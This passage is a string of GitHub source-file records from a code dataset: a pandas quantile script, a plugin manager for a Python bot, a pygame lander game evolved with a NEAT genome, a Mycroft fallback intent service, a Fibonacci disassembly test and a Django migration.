等级分数段定义，分位数\nGOOD = 0.667 # 优\nBAD = 0.333 # 良\n\ndata1 = pd.read_csv(\"Userrate2.csv\")\ncolumns1 = ['user_id', 'rate', '字符串', '线性表', '数组', '查找算法', '排序算法', '数字操作', '图结构', '树结构']\ndata2 = pd.read_excel(r\"./rate_per_person_per_fact.xls\")\ncolumns2 = ['user_id', 'toanslines', 'upload_times', 'answer_rate', 'final_score', 'first_score', 'total_time', 'timeavg', 'scoreavg']\n\n\n#生成分位数文件\nquantiled = data1[columns1[1:]].quantile([BAD,GOOD])\nquantiled.index = ['bad','good']\ntmp = data2[columns2[1:]].quantile([BAD,GOOD])\ntmp.index = ['bad','good']\n\nresult = pd.concat([quantiled,tmp],axis=1,join='inner')\n\nresult.to_csv('quantiles.csv',encoding=\"utf_8_sig\")","repo_name":"vessland/DataScience","sub_path":"hw5/quantiles.py","file_name":"quantiles.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35476713256","text":"from __future__ import annotations\n\nfrom types import ModuleType\nfrom typing import List, Dict\nfrom dataclasses import dataclass\nfrom pathlib import Path\nimport importlib, sys, inspect\n\nfrom . import utils, database\n\n@dataclass\nclass ExtObj:\n classObj : NatsumeExt = None\n moduleObj : ModuleType = None\n alias : str = None\n\n @classmethod\n def validateArgs(cls, obj: NatsumeExt):\n printError = utils.NatsumeUtils().printError\n printInfo = utils.NatsumeUtils().printInfo\n\n if obj.args is None:\n printError(\"ValidateArgs\", f\"Skipping {obj.name}: No Args found!\")\n return\n if type(obj.args) != list: \n printError(\"ValidateArgs\", \"Invalid type!\")\n obj.args = [{}]\n \n for arg in obj.args:\n if \"name\" not in arg.keys():\n printInfo(\"VaildateArgs\", \"Args Name isn\\'t listed!\")\n if \"optional\" not in arg.keys():\n arg[\"optional\"] = False\n if \"type\" not in arg.keys():\n arg[\"type\"] = str\n if \"default\" not in arg.keys():\n arg[\"default\"] = \"\"\n\nclass NatsumeExtMan:\n def __init__(self, main, utility: utils.NatsumeUtils, database: database.NatsumeDatabase, moduleList: List = []):\n self.__VER = 1.0\n self.__loadedExt = 0\n self.__extFolder = \"ext\"\n self.utils: utils.NatsumeUtils = utility\n self.database: database.NatsumeDatabase = database\n self.settings = self.utils.getConfig()\n self.moduleList = self.settings[\"natsume\"][\"extensions\"]\n self.modules : Dict[str, ExtObj] = dict()\n self.extRef : Dict[str, ExtObj.classObj] = dict() \n self.base = main\n\n def execute(self, ext, args):\n try:\n ext : ExtObj.classObj = self.extRef[ext]\n minimumArgs : List[Dict] = list(arg for arg in ext.args if not arg[\"optional\"]) if ext.args else None\n optionalArgs: List[Dict] = list(arg for arg in ext.args if arg[\"optional\"]) if ext.args else None\n # No Argument needed\n if (not minimumArgs) and (not args):\n self.utils.printInfo(\"Execute\", \"No argument detected\")\n if not optionalArgs:\n args = None\n else:\n for arg in optionalArgs:\n args[arg[\"name\"]] = arg[\"default\"]\n else:\n for seq, arg in enumerate(ext.args):\n attempt = 1\n\n # parse argument passed by keywords\n if arg[\"name\"] in args:\n if arg['type'] == bool:\n args[arg['name']] = self.utils.parseBool(args[arg[\"name\"]])\n else:\n args[arg['name']] = arg['type'](args[arg[\"name\"]])\n continue\n \n # parse argument passed by value\n if f'args_{seq+1}' in args:\n if arg['type'] == bool:\n args[arg['name']] = self.utils.parseBool(args[f'args_{seq+1}'])\n else:\n args[arg['name']] = arg['type'](args[f'args_{seq+1}'])\n args.pop(f'args_{seq+1}') \n continue\n\n if arg[\"optional\"]: \n args[arg['name']] = arg.get('default', None)\n continue\n\n for i in range(3):\n temp = input(f\"{arg['name']}: \")\n if (not temp) and attempt <= 3: \n if attempt != 3:\n attempt += 1\n continue\n else:\n if not arg[\"default\"]:\n raise ValueError(f\"{arg['name']} can't be empty\")\n \n if \"cancel\" in temp.lower(): \n raise Exception(\"Action canceled\")\n if arg['default'] and (not temp):\n args[arg['name']] = arg.get('default')\n break\n \n except Exception as e:\n self.utils.printError(\"Execute\", f\"{e}\")\n except KeyError:\n self.utils.printError(\"Execute\", f\"{ext} isn't a valid alias\")\n except ValueError as e:\n self.utils.printError(\"Execute\", f\"{e}\")\n else:\n if args:\n ext.run(**args)\n else:\n ext.run()\n\n def getCurrentModules(self, alias: str=None):\n if self.__loadedExt:\n self.utils.printError(\"getCurrentModules\", \"No modules has been loaded!\")\n exit()\n if alias:\n return self.extRef[alias]\n return self.modules.items()\n\n def reload(self, mod):\n try:\n newExtRef = self.extRef.copy()\n newExtObj = self.modules.copy()\n\n for ext, extObj in self.modules.items():\n if mod in extObj.alias:\n newModule = importlib.reload(extObj.moduleObj)\n\n for mod in inspect.getmembers(newModule, inspect.isclass):\n if issubclass(mod[1], NatsumeExt):\n self.utils.printInfo(\"ExtReload\", f\"Reloaded {mod[1]}\")\n classObj = mod[1](utils=self.utils, main=self.base, db=self.database)\n moduleName = classObj.name\n if moduleName != extObj.classObj.name:\n self.utils.printInfo(\"ExtReload\", f\"Module's name has changed: {ext.classObj.name}->{moduleName}\")\n \n newAlias = list(filter(lambda x: x not in extObj.alias, classObj.alias))\n self.utils.printInfo(\"ExtReload\", \"Removing old instance from list\")\n newExtObj.pop(extObj.classObj.name)\n self.utils.printInfo(\"ExtReload\", \"Removing aliases from list\")\n for alias in extObj.alias:\n newExtRef.pop(alias)\n\n ExtObj.validateArgs(classObj)\n newExtObj[moduleName] = ExtObj(classObj, newModule, classObj.alias)\n \n for alias in classObj.alias:\n if alias == \"NatsumeBaseExtensions\": continue\n if alias not in newExtRef.keys():\n newExtRef[alias] = newExtObj[moduleName].classObj\n if alias in newAlias: self.utils.printInfo(\"ExtReload\", f\"Found new alias: {alias}\")\n else:\n self.utils.printInfo(\"ExtReload\", newExtObj[moduleName].classObj.alias)\n self.utils.printInfo(\"ExtReload\", extObj.classObj.alias)\n raise AttributeError(f\"Conflicting Aliases Found! {alias}\")\n\n except Exception as e:\n self.utils.printError(\"ExtLoader\", e)\n else:\n self.modules = newExtObj\n self.extRef = newExtRef\n self.base.currMod = self.extRef\n\n def loadAll(self):\n if self.__loadedExt != 0:\n self.utils.printError(\"ExtLoader\", \"Modules already loaded!\")\n \n try:\n for module in self.moduleList:\n for submodule in filter(lambda x: (not x.name.endswith(\"_database.py\")) and (\"__\" not in x.name) and (\".py\" == x.suffix), \n list(Path(self.__extFolder, module).glob(\"*\"))):\n pkgName = f\"{self.__extFolder}.{module}\"\n fullModule = str(submodule).replace(\"\\\\\", \".\").split(\".py\")[0]\n moduleObj = importlib.import_module(fullModule, pkgName)\n \n for mod in inspect.getmembers(moduleObj, inspect.isclass):\n if issubclass(mod[1], NatsumeExt):\n self.utils.printInfo(\"ExtLoader\", f\"Found {mod[1]}\")\n classObj = mod[1](utils=self.utils, main=self.base, db=self.database)\n moduleName = classObj.name\n else:\n self.utils.printError(\"ExtLoader\", F\"Found {mod[1]}\")\n \n if not (classObj or fullModule in sys.modules):\n raise AttributeError(f\"{module} contains no suitable extensions\")\n # Mapping aliases and generic name into classObj\n ExtObj.validateArgs(classObj)\n self.modules[moduleName] = ExtObj(classObj, moduleObj, classObj.alias)\n \n for alias in self.modules[moduleName].classObj.alias:\n if alias == \"NatsumeBaseExtensions\": continue\n if alias not in self.extRef.keys():\n self.extRef[alias] = self.modules[moduleName].classObj\n else:\n raise AttributeError(f\"Conflicting Aliases Found! {alias}\")\n\n self.utils.printInfo(\"ExtLoader\", f\"{moduleName}, {fullModule}\")\n\n except Exception as e:\n self.utils.printError(\"ExtLoader\", e)\n finally:\n for cmd, mod in self.extRef.items():\n self.utils.printInfo(\"Available Cmdlet\", f\"{cmd} {mod}\")\n return self.extRef\n\n def reloadAll(self):\n self.__loadedExt = 0\n newExtDict: Dict[str, ExtObj] = dict()\n newExtRef: Dict[str, ExtObj.classObj] = dict()\n\n try:\n for mod, ext in self.modules.items():\n moduleObj = importlib.reload(ext.moduleObj)\n\n for mod in inspect.getmembers(moduleObj, inspect.isclass):\n if issubclass(mod[1], NatsumeExt):\n self.utils.printInfo(\"ExtReload\", f\"Found {mod[1]}\")\n classObj = mod[1](utils=self.utils, main=self.base, db=self.database)\n moduleName = classObj.name\n if moduleName != ext.classObj.name:\n self.utils.printInfo(\"ExtReload\", f\"Module's name has changed: {ext.classObj.name}->{moduleName}\")\n\n ExtObj.validateArgs(classObj)\n newAlias = list(filter(lambda x: x not in ext.alias, classObj.alias))\n newExtDict[moduleName] = ExtObj(classObj, moduleObj, classObj.alias)\n\n \n for alias in classObj.alias:\n if alias == \"NatsumeBaseExtensions\": continue\n if alias not in newExtRef.keys():\n newExtRef[alias] = newExtDict[moduleName].classObj\n if alias in newAlias: self.utils.printInfo(\"ExtReload\", f\"Found new alias: {alias}\")\n else:\n self.utils.printInfo(\"ExtReload\", newExtDict[moduleName].classObj.alias)\n self.utils.printInfo(\"ExtReload\", ext.classObj.alias)\n raise AttributeError(f\"Conflicting Aliases Found! {alias}\")\n \n self.utils.printInfo(\"ExtReload\", f\"Reloaded {moduleName}\")\n except Exception as e:\n self.utils.printError(\"ExtReload\", e)\n else:\n self.modules = newExtDict\n self.extRef = newExtRef\n self.base.currMod = self.extRef\n\nclass NatsumeExt:\n aliasBind = dict()\n def __init__(self, main, utils:utils.NatsumeUtils, db:database.NatsumeDatabase):\n self.__VER = 1.0\n self.base = main\n self.utils = utils\n self.session = db.session\n self.name = \"NatsumeBaseExtensions\"\n self.args : list[dict] = None\n self.help = \"Wha! Nothing to see here!\"\n self.group = \"Misc\"\n self.desc = self.help\n self.alias = [self.name]\n self.isSystem = False\n self.run = self.execute\n\n def execute(self, args=None):\n return print(\"Whoa, Unimplemented Feature Here! Nice nice.... now.. GET BACK TO WORK!\")\n\n def __repr__(self):\n return f\"\"\n\n ","repo_name":"nmluci/natsume-chan","sub_path":"structure/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":12318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39280018097","text":"import math\nimport pygame\nimport random\nfrom pygame.locals import *\nfrom math2d import Vec2d, Angle\nfrom math2d.ray2d import Ray2D\nfrom math2d.shapes import Segment2D\nimport neat\nimport copy\n\ndef to_rect(pos, w, h):\n r = Rect(0, 0, 0, 0)\n r.center = pos.as_int_tup()\n r.size = (w, h)\n return r\n\n\ndef does_intersect(rect, seg):\n segments = [\n Segment2D(Vec2d(*rect.topleft), Vec2d(*rect.bottomleft)),\n Segment2D(Vec2d(*rect.bottomleft), Vec2d(*rect.bottomright)),\n Segment2D(Vec2d(*rect.bottomright), Vec2d(*rect.topright)),\n Segment2D(Vec2d(*rect.topright), Vec2d(*rect.topleft))\n ]\n for s in segments:\n if len(seg.intersect_with(s)) > 0:\n return True\n return False\n\ndef clamp(val, v_min, v_max):\n return min(val, max(val, v_min), v_max)\n\nclass FireParticle:\n\n def __init__(self, pos, direct, life):\n self.particlePos = Vec2d(pos)\n self.particleDir = Vec2d(direct)\n self.life = life\n\n def draw(self, screen):\n pygame.draw.circle(screen, (200 + self.life, 50 + 4 * self.life,self.life * 5), self.particlePos.as_int_tup(), 2, 1)\n\n def update(self):\n self.life -= 1\n self.particlePos += self.particleDir\n\nclass Fire:\n\n def __init__(self):\n self.particles = []\n\n def update(self, thrust, thrustPos, thrustAng):\n newParticles = []\n for ember in self.particles:\n ember.update()\n if ember.life > 0:\n newParticles.append(ember)\n for _ in range(thrust):\n fireDir = Vec2d(-thrust/2, 0)\n fireDir.rotate(-thrustAng + random.randint(0, 10))\n firePos = thrustPos + Vec2d(0, 25).rotated(90 - thrustAng)\n newParticles.append(FireParticle(firePos, fireDir, random.randint(20, 50)))\n self.particles = newParticles\n\n def draw(self, screen):\n for ptcl in self.particles:\n ptcl.draw(screen)\n\nclass Ship:\n def __init__(self, pos, maxfuel, *, color=(0, 200, 0)):\n self.start_pos = copy.copy(pos)\n self.pos = pos\n self.vel = Vec2d(0, 0)\n self.thrust = 0\n self.angle = Angle(deg=90)\n self.fuel = maxfuel\n self.maxFuel = maxfuel\n self.color = color\n\n self.halfSizeX = 25\n self.halfSizeY = 12\n\n self.landed = False\n self.dead = False\n\n self.fire = Fire()\n\n def reset(self):\n self.pos = self.start_pos\n self.vel = Vec2d(0, 0)\n self.thrust = 0\n self.angle = Angle(deg=90)\n self.fuel = self.maxFuel\n self.landed = False\n self.dead = False\n\n\n def get_bound_rect(self):\n return to_rect(self.pos, 25, 50)\n\n def draw(self, screen):\n br = self.get_bound_rect()\n pos = br.center\n if self.dead:\n draw_color = (128, 128, 128)\n else:\n draw_color = self.color\n vtc = []\n vtc.append(Vec2d(-self.halfSizeX, self.halfSizeY).rotated(-self.angle.deg) + pos)\n vtc.append(Vec2d(self.halfSizeX, self.halfSizeY).rotated(-self.angle.deg) + pos)\n vtc.append(Vec2d(self.halfSizeX, -self.halfSizeY).rotated(-self.angle.deg) + pos)\n vtc.append(Vec2d(-self.halfSizeX, -self.halfSizeY).rotated(-self.angle.deg) + pos)\n pygame.draw.polygon(screen, draw_color, vtc, 0)\n\n fillvtc = []\n gaugeLen = 2*self.halfSizeX*(1-(self.fuel/self.maxFuel))\n fillvtc.append(Vec2d(self.halfSizeX+1-gaugeLen, self.halfSizeY-1).rotated(-self.angle.deg) + pos)\n fillvtc.append(Vec2d(self.halfSizeX-1, self.halfSizeY-1).rotated(-self.angle.deg) + pos)\n fillvtc.append(Vec2d(self.halfSizeX-1, 1-self.halfSizeY).rotated(-self.angle.deg) + pos)\n fillvtc.append(Vec2d(self.halfSizeX+1-gaugeLen, 1-self.halfSizeY).rotated(-self.angle.deg) + pos)\n pygame.draw.polygon(screen, (30,30,30), fillvtc, 0)\n\n # Debug draw bound rect\n # pygame.draw.rect(screen, (255, 0, 0), br, 2)\n\n if not self.landed and not self.dead:\n self.fire.draw(screen)\n\n def update(self, dt):\n if self.fuel <= 0:\n self.thrust = 0\n\n self.force = Vec2d(math.cos(self.angle.rad), math.sin(self.angle.rad))\n self.force.length = self.thrust * 20\n self.force += Vec2d(0, -3 * 20) # gravity is a bit weak\n self.force.y *= -1\n self.pos += self.vel * dt\n self.vel += self.force * dt# we asume that mass == 1\n self.fuel -= self.thrust * dt\n\n if not self.landed and not self.dead:\n self.fire.update(self.thrust, self.pos + Vec2d(25/2, 50/2), self.angle.deg)\n\nclass Level:\n @staticmethod\n def generate(total_len, min_height, max_heigh, num_steps):\n step_size = total_len // num_steps\n flat_step = random.randint(1, num_steps)\n last_y = random.randint(min_height, max_heigh)\n pts = [Vec2d(0, last_y)]\n for i in range(num_steps + 1):\n cur_x = i * step_size\n if i == flat_step:\n cur_pt = last_y\n else:\n cur_pt = random.randint(min_height, max_heigh)\n\n pts.append(Vec2d(cur_x, cur_pt))\n last_y = cur_pt\n lvl = Level(pts)\n lvl.index_landing = flat_step\n return lvl\n\n def landing_center(self):\n p1 = self.floor[self.index_landing]\n p2 = self.floor[self.index_landing + 1]\n return (p1 + p2) / 2\n\n def __init__(self, floor_pts, ceiling_pts=[]):\n self.floor = floor_pts\n self.ceiling = ceiling_pts\n self.index_landing = -1\n\n def draw(self, screen):\n color = (150, 50, 0)\n color_landing = (0, 255, 0)\n screen_rect = screen.get_rect()\n if len(self.floor) > 1:\n floor_pts = [screen_rect.bottomleft]\n floor_pts += list(map(lambda p: p.as_int_tup(), self.floor))\n floor_pts.append(screen_rect.bottomright)\n pygame.draw.polygon(screen, color, floor_pts)\n if self.index_landing >= 0:\n p1 = self.floor[self.index_landing].as_int_tup()\n p2 = self.floor[self.index_landing + 1].as_int_tup()\n pygame.draw.line(screen, color_landing,p1, p2, 3)\n if len(self.ceiling) > 1:\n pygame.draw.polygon(screen, color, list(map(lambda p: p.as_int_tup(), self.ceiling)))\n\nclass Game:\n def __init__(self, level, ships, area):\n self.level = level\n self.ships = ships\n self.area = area\n self.dead = []\n\n\n def check_landed(self, ship):\n # print(\"angle\", ship.angle.deg)\n # print(\"velocity\", ship.vel)\n angle_check = abs(ship.angle.deg - 90) < 2\n vertical_speed_check = abs(ship.vel.y) < 20\n horizontal_speed_check = abs(ship.vel.x) < 10\n return angle_check and vertical_speed_check and horizontal_speed_check\n\n def check_collisions(self):\n # Check if outside\n to_remove = set()\n\n for s in self.ships:\n if s.pos.x < 0 or s.pos.x > self.area.x:\n to_remove.add(s)\n elif s.pos.y < 0 or s.pos.y > self.area.y:\n to_remove.add(s)\n\n for s in to_remove:\n self.ships.remove(s)\n if not s.landed:\n s.dead = True\n self.dead.append(s)\n\n # Check if colided with ground\n to_remove = set()\n\n for p1, p2 in zip(self.level.floor, self.level.floor[1:]):\n seg = Segment2D(p1, p2)\n for s in self.ships:\n if does_intersect(s.get_bound_rect(), seg):\n if seg.beg.y == seg.end.y:\n if self.check_landed(s):\n s.landed = True\n to_remove.add(s)\n\n for s in to_remove:\n self.ships.remove(s)\n if not s.landed:\n s.dead = True\n self.dead.append(s)\n\n def update(self, dt):\n for s in self.ships:\n if not s.landed:\n s.update(dt)\n \n self.check_collisions()\n\n def draw(self, screen):\n self.level.draw(screen)\n\n for s in self.dead:\n s.draw(screen)\n\n for s in self.ships:\n s.draw(screen)\n\nclass AiShip(Ship):\n def __init__(self, pos, maxfuel, *, color=(0, 200, 0), genome=None):\n super().__init__(pos, maxfuel, color=color)\n if genome is None:\n self.genome = neat.Genome(7, 2, node_mut_rate=0.1, con_mut_rate=0.2)\n else:\n self.genome = genome\n\n self.fitness = 0\n self.time_alive = 0\n\n def update_ai(self, level):\n landing_site = level.landing_center()\n # r = Ray2D(self.pos, Vec2d(0, 1))\n # height = 0\n # for p1, p2 in zip(level.floor, level.floor[1:]):\n # seg = Segment2D(p1, p2)\n # crosses = seg.intersect_with(r)\n # if len(crosses) == 1:\n # height = self.pos.get_distance(crosses[0])\n # break\n\n new_angle, new_thrust = self.genome.eval([self.pos.x, self.pos.y, self.vel.x, self.vel.y, landing_site.x, landing_site.y, self.angle.deg])\n new_angle, new_thrust = new_angle * 180, new_thrust * 5\n self.angle.deg = clamp(new_angle, 0, 180)\n if new_thrust > 4:\n new_thrust = 4\n if new_thrust < 0:\n new_thrust = 0\n self.thrust = int(new_thrust)\n # self.thrust = abs(int(clamp(new_thrust, 0, 4)))\n\n def update(self, dt):\n self.time_alive += dt\n super().update(dt)\n\n def calculate_fitness(self, level, max_dist):\n landing_site = level.landing_center()\n dist_to_landing = (self.pos - landing_site).length\n fitness = 0\n fitness -= (dist_to_landing ** 2) / 100\n fitness -= abs(90 - self.angle.deg) * 50\n if self.fuel == self.maxFuel:\n fitness -= 1000\n else:\n fitness += self.fuel\n fitness -= self.vel.length\n fitness -= 10 * len(self.genome.nodes)\n if self.landed:\n fitness += 9000 # yes it goes over 9000\n \n self.fitness = fitness\n\ndef draw_text(screen, font, text, pos):\n surf = font.render(text, False, (0, 255, 0))\n screen.blit(surf, pos)\n\ndef debug_hud(ship, screen, pos=Vec2d(50, 50)):\n size = 20\n font = pygame.font.SysFont('Arial', size)\n draw_text(screen, font, 'thrust: {}'.format(ship.thrust), pos.as_int_tup())\n pos.y += size\n draw_text(screen, font, 'velocity: {}'.format(ship.vel), pos.as_int_tup())\n pos.y += size\n draw_text(screen, font, 'Angle: {}'.format(ship.angle.deg), pos.as_int_tup())\n pos.y += size\n draw_text(screen, font, 'fuel: {}'.format(ship.fuel), pos.as_int_tup())\n\ntracked = None\ndef ai_debug_hud(screen, game, generation, fitness, *, tracking=False):\n global tracked\n size = 20\n pos = 50\n font = pygame.font.SysFont('Arial', size)\n\n text = [\n 'Generation: {}'.format(generation),\n 'Fitness: {}'.format(fitness),\n 'Alive: {}'.format(len(game.ships))\n ]\n\n for t in text:\n draw_text(screen, font, t, (50, pos))\n pos += size\n\n if tracking:\n if tracked is None or tracked.dead:\n if tracked is not None:\n tracked.color = (20, 190, 250)\n tracked = random.choice(game.ships)\n tracked.color = (0, 255, 0)\n\n debug_hud(tracked, screen, Vec2d(screen.get_rect().width - 400, 50))\n\ndef spawn_and_reset(screen, game, cnt, *, reset_level=False):\n global tracked\n screen_rect = screen.get_rect()\n if cnt < 3:\n cnt = 3\n ai_ships = []\n for s in game.dead:\n if isinstance(s, AiShip):\n s.calculate_fitness(game.level, screen_rect.width)\n ai_ships.append(s)\n\n screen_size = Vec2d(*screen_rect.size)\n\n game.dead = []\n game.ships = []\n if reset_level:\n game.level = Level.generate(screen_size.x, 2 * screen_size.y // 3, screen_size.y, 10)\n reproduceable = sorted(ai_ships, key=lambda s: s.fitness, reverse=True)[:4] # the top 3\n\n tf = reproduceable[0].fitness\n print(reproduceable[0].genome)\n\n for s in reproduceable:\n s.reset()\n # game.ships.append(s)\n game.ships.append(AiShip(Vec2d(*screen_rect.center), s.maxFuel, color=(20, 190, 250), genome=copy.deepcopy(s.genome)))\n for _ in range(cnt // 3 - 1):\n new_genome = copy.deepcopy(s.genome)\n new_genome.mutate()\n game.ships.append(AiShip(Vec2d(*screen_rect.center), s.maxFuel, color=(20, 190, 250), genome=new_genome))\n\n tracked = game.ships[0]\n\n return tf\n\ndef main():\n screen_size = Vec2d(1280, 720)\n pygame.init()\n pygame.font.init()\n screen = pygame.display.set_mode(screen_size.as_int_tup())\n\n ship = None #Ship(screen_size / 2, 50, color=(20, 190, 250))\n level = Level.generate(screen_size.x, 2 * screen_size.y // 3, screen_size.y, 10)\n\n game = Game(level, [], screen_size)\n if ship is not None:\n game.ships.append(ship)\n\n generation = 0\n top_fitness = 0\n generation_cnt = 50\n for _ in range(generation_cnt):\n s = AiShip(screen_size / 2, 50, color=(20, 190, 250))\n s.genome.mutate()\n game.ships.append(s)\n\n # clock = pygame.time.Clock()\n\n num_stars = 100\n stars = []\n for _ in range(num_stars):\n star = Vec2d(\n random.randrange(0, screen_size.x),\n random.randrange(0, screen_size.y)\n )\n stars.append(star)\n\n fitness_history = []\n\n asap = False\n mainloop = True\n while mainloop:\n for event in pygame.event.get():\n if event.type == pygame.QUIT: \n mainloop = False # pygame window closed by user\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n mainloop = False # user pressed ESC\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n asap = not asap\n if ship is not None: # Debug stuff\n if event.key == pygame.K_UP:\n if ship.thrust < 4:\n ship.thrust += 1\n elif event.key == pygame.K_DOWN:\n if ship.thrust > 0:\n ship.thrust -= 1\n elif event.key == pygame.K_LEFT:\n if ship.angle.deg < 180:\n ship.angle.deg = ship.angle.deg + 10\n elif event.key == pygame.K_RIGHT:\n if ship.angle.deg > 0:\n ship.angle.deg = ship.angle.deg - 10\n\n # dt = clock.get_time() / 1000\n # if dt > 1:\n dt = 0.033\n\n\n # Update\n for s in game.ships:\n if isinstance(s, AiShip):\n s.update_ai(game.level)\n game.update(dt)\n if len(game.ships) == 0:\n print('=============================================')\n print('Generation:', generation)\n generation += 1\n # top_fitness = spawn_and_reset(screen, game, generation_cnt, reset_level=generation % 5 == 0)\n top_fitness = spawn_and_reset(screen, game, generation_cnt, reset_level=False)\n fitness_history.append(top_fitness)\n\n # Drawing\n screen.fill((0, 0, 33))\n ai_debug_hud(screen, game, generation, top_fitness, tracking=True)\n\n for star in stars:\n pygame.draw.circle(screen, (255, 255, 255), star.as_int_tup(), 2)\n\n game.draw(screen)\n if ship is not None:\n debug_hud(ship, screen)\n pygame.display.flip()\n # if not asap:\n # clock.tick(60)\n \n \n # print evolution history\n pygame.quit()\n import matplotlib\n from matplotlib import pyplot as plt\n matplotlib.style.use('dark_background')\n print(\"Fitness:\", fitness_history)\n plt.figure(figsize=(20, 15))\n plt.plot(fitness_history)\n plt.show()\n\nif __name__ == \"__main__\":\n main()","repo_name":"n0name/lander_ai","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6175853207","text":"import operator\nfrom collections import defaultdict, namedtuple\nfrom typing import Dict, Optional, Set\n\nfrom mycroft.messagebus.message import Message\nfrom mycroft.util.log import LOG\n\nfrom .base import IntentMatch\n\nFallbackRange = namedtuple(\"FallbackRange\", [\"start\", \"stop\"])\n\n\nclass FallbackService:\n \"\"\"Intent Service handling fallback skills.\"\"\"\n\n def __init__(self, bus):\n self.bus = bus\n self.session_id: Optional[str] = None\n self._fallback_handlers: Dict[int, Set[str]] = defaultdict(set)\n\n self.bus.on(\"mycroft.skills.register-fallback\", self._register_fallback)\n self.bus.on(\"mycroft.skills.unregister-fallback\", self._unregister_fallback)\n\n def _register_fallback(self, message):\n \"\"\"Register a fallback handler by priority/name\"\"\"\n name = message.data[\"name\"]\n priority = message.data[\"priority\"]\n skill_id = message.data[\"skill_id\"]\n self._fallback_handlers[priority].add(name)\n LOG.debug(\n \"Registered fallback for %s (priority=%s, id=%s)\", skill_id, priority, name\n )\n\n def _unregister_fallback(self, message):\n \"\"\"Unregister a fallback handler by name\"\"\"\n name = message.data[\"name\"]\n skill_id = message.data[\"skill_id\"]\n\n for handler_names in self._fallback_handlers.values():\n handler_names.discard(name)\n\n LOG.debug(\"Unregistered fallback for %s (id=%s)\", skill_id, name)\n\n def _fallback_range(self, utterances, lang, message, fb_range: FallbackRange):\n \"\"\"Send fallback request for a specified priority range.\n\n Args:\n utterances (list): List of tuples,\n utterances and normalized version\n lang (str): Langauge code\n message: Message for session context\n fb_range (FallbackRange): fallback order start and stop.\n\n Returns:\n IntentMatch or None\n \"\"\"\n sorted_handlers = sorted(\n self._fallback_handlers.items(), key=operator.itemgetter(0)\n )\n for priority, handler_names in sorted_handlers:\n if (priority < fb_range.start) or (priority >= fb_range.stop):\n continue\n LOG.debug(\n \"Trying %s fallback handler(s) at priority %s\",\n len(handler_names),\n priority,\n )\n for handler in handler_names:\n reply = self.bus.wait_for_response(\n Message(\n \"mycroft.skills.handle-fallback\",\n data={\n \"name\": handler,\n \"utterance\": utterances[0][0],\n \"lang\": lang,\n \"fallback_range\": (fb_range.start, fb_range.stop),\n \"mycroft_session_id\": self.session_id,\n },\n ),\n timeout=5,\n )\n\n if reply and reply.data.get(\"handled\", False):\n skill_id = reply.data[\"skill_id\"]\n LOG.debug(\n \"Handled by fallback skill %s at priority %s\",\n skill_id,\n priority,\n )\n return IntentMatch(\"Fallback\", None, {}, skill_id)\n\n return None\n\n def high_prio(self, utterances, lang, message):\n \"\"\"Pre-padatious fallbacks.\"\"\"\n return self._fallback_range(utterances, lang, message, FallbackRange(0, 5))\n\n def medium_prio(self, utterances, lang, message):\n \"\"\"General fallbacks.\"\"\"\n return self._fallback_range(utterances, lang, message, FallbackRange(5, 90))\n\n def low_prio(self, utterances, lang, message):\n \"\"\"Low prio fallbacks with general matching such as chat-bot.\"\"\"\n return self._fallback_range(utterances, lang, message, FallbackRange(90, 101))\n","repo_name":"MycroftAI/mycroft-dinkum","sub_path":"services/intent/service/intent_services/fallback_service.py","file_name":"fallback_service.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"34289253032","text":"from disassembler import *\nimport sys\n\ndef fib(n):\n lastVal = 0\n currentVal = 1\n i = 1\n \n while True:\n if i == n:\n break \n nextVal = lastVal + currentVal\n lastVal = currentVal\n currentVal = nextVal \n i += 1\n \n return currentVal\n\ndef main():\n x = int(input(\"Please enter an integer: \"))\n print(\"fib(\"+str(x)+\") =\",fib(x))\n \nif len(sys.argv) == 1:\n main()\nelse: \n disassemble(fib)\n disassemble(main)\n\n \n ","repo_name":"kentdlee/JCoCo","sub_path":"tests/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"17481261545","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport mkt.translations.fields\nimport django.db.models.deletion\nfrom django.conf import settings\nimport mkt.translations.models\nimport django_extensions.db.fields.json\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('translations', '__first__'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Extension',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('modified', models.DateTimeField(auto_now=True)),\n ('default_language', models.CharField(default=b'en-US', max_length=10)),\n ('manifest', django_extensions.db.fields.json.JSONField()),\n ('version', models.CharField(default=b'', max_length=255)),\n ('slug', models.CharField(unique=True, max_length=35)),\n ('status', models.PositiveSmallIntegerField(default=0, db_index=True, choices=[(0, 'Incomplete'), (16, 'Unlisted'), (2, 'Pending approval'), (4, 'Published'), (5, 'Banned from Marketplace'), (11, 'Deleted'), (12, 'Rejected'), (13, 'Approved but private'), (15, 'Blocked')])),\n ('authors', models.ManyToManyField(to=settings.AUTH_USER_MODEL)),\n ('name', mkt.translations.fields.TranslatedField(related_name='Extension_name_set+', null=True, on_delete=django.db.models.deletion.SET_NULL, db_column=b'name', default=None, to_field=b'id', to=mkt.translations.models.Translation, short=True, blank=True, require_locale=True, unique=True)),\n ],\n options={\n 'abstract': False,\n 'get_latest_by': 'created',\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"mozilla/zamboni","sub_path":"mkt/extensions/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"} +{"seq_id":"73740157842","text":"import numpy as np\r\nfrom PIL import Image\r\n\r\nimport 